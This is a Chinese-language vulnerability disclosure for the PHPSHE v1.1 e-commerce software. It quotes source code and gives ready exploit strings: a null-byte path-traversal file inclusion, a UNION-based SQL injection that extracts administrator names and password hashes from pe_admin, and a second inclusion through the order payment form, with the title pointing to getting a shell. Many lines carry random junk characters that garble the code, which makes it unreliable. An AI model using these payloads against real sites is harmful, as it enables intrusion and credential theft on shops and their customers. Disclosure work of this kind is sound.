phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
) d. d( \7 P9 \" |( N; L* u/* Phpshe v1.1 Vulnerability
/* ========================
# K" l4 j! \  o  {0 w: e# g/* By: : Kn1f3
/* E-Mail : 681796@qq.com
' G8 K. b% [( o7 k; g1 _/*******************************************************/
0×00 整体大概参数传输

" L6 N  ?3 w% n

; J3 a+ r! R" C% ^//common.php
* |5 b& x0 _5 i. S& v/ \6 q; \; kif (get_magic_quotes_gpc()) {
0 D# B  }% b4 A( x!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
' a; V2 E7 Z( C% R4 C+ Q4 jelse {
& A2 j% n' V0 [# i7 l!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
5 U3 s/ q8 k3 w8 A" ?0 Q: e% D; t}
. Q* u5 B' d( \% q; Rsession_start();
3 H; a0 F3 y8 V!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
% c9 i% K8 O& Y( Y% y# D( L% _0 P

//首页文件
9 x& v# D0 V( e) A: z<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
4 W. j' d! g% j' _- ?0 @//common 文件 第15行开始
: C% [5 o1 f+ x* Z8 X: Z3 Kurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
# x5 a' ^9 J6 k5 S$ A- F) ]; N: Z+ d$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
; Y4 `2 d: x* H$ {4 z% H' n$ g/ u. \//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
8 {, @" w0 i# ]$ D0 d) W2 P  @$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
8 [$ {8 }) n; L4 P//搜索
9 j5 t1 E. m( Y+ `& Q# j- f$sqlwhere = " and `product_state` = 1";
$ w3 L, k/ |0 B$ p( ^0 E% Bpe_lead('hook/category.hook.php');
if ($category_id) {
# X% f- x+ @% N( y$ Twhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
' M! C+ J, v. w: U5 `/ z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
; J) F9 H5 n9 ?/ o/ ]if ($_g_orderby) {
% H/ G& q- E0 u$orderby = explode('_', $_g_orderby);
: _/ G; w. b  J% \! q) u2 \9 n$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 O3 M5 n! \* Z4 u}
( j; P: q9 ^' ]9 ?else {
- Q- U! f* _0 O2 |8 N+ q" @9 b$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
2 h1 `$ _% i/ \" U6 p//热卖排行
$product_hotlist = product_hotlist();
2 ?) B4 e% M8 H% ?9 `. m; t% Y//当前路径
- D5 Y4 \+ U5 R7 c: P$nowpath = category_path($category_id);
/ S: o( X( a0 `7 y$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
% a+ R, j% b. I' j* q' s//处理条件语句
% Z* g: f- H# @$sqlwhere = $this->_dowhere($where);
3 Y* `$ E* W1 U4 q5 s! vreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- e' }5 R: ^( v}
//exp
* v6 V1 Q& U, e: L/ kproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

% }3 ]( J6 N  g  @( Q/ u# S<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

% R2 f- ?+ ~7 O" v; o" Oforeach($cache_payway as $k => $v) {

1 i4 [6 W! [- t% b8 o& S$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

3 D; |8 U' j1 Z, q1 e$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

* E/ K. W& ]3 D  k}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% q+ g# P; Z$ @" R  K!$order['order_id'] && pe_error('订单号错误...');

  h; e2 @* }7 }; L- sif (isset($_p_pesubmit)) {

* x$ F4 c6 V, C$ {if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 W  K5 x1 p& Z6 [( Y1 A5 K' b$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
/ a. W, q" O9 |3 `2 I: {

! `* n: K3 b8 `$ [2 O/ t" N}

& e" K$ N$ {4 `: }* q/ v- mecho '正在为您连接支付网站，请稍后...';

; K1 o; W( x- I6 H: Z3 g% i6 n9 dinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

+ f: ?( M, C+ |* I8 ?3 c}

4 u2 d! }2 o  c5 x3 R$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

( s4 v& r5 U9 C1 M9 m4 s9 @% Z# Zbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
$ J+ O3 M. _* I5 u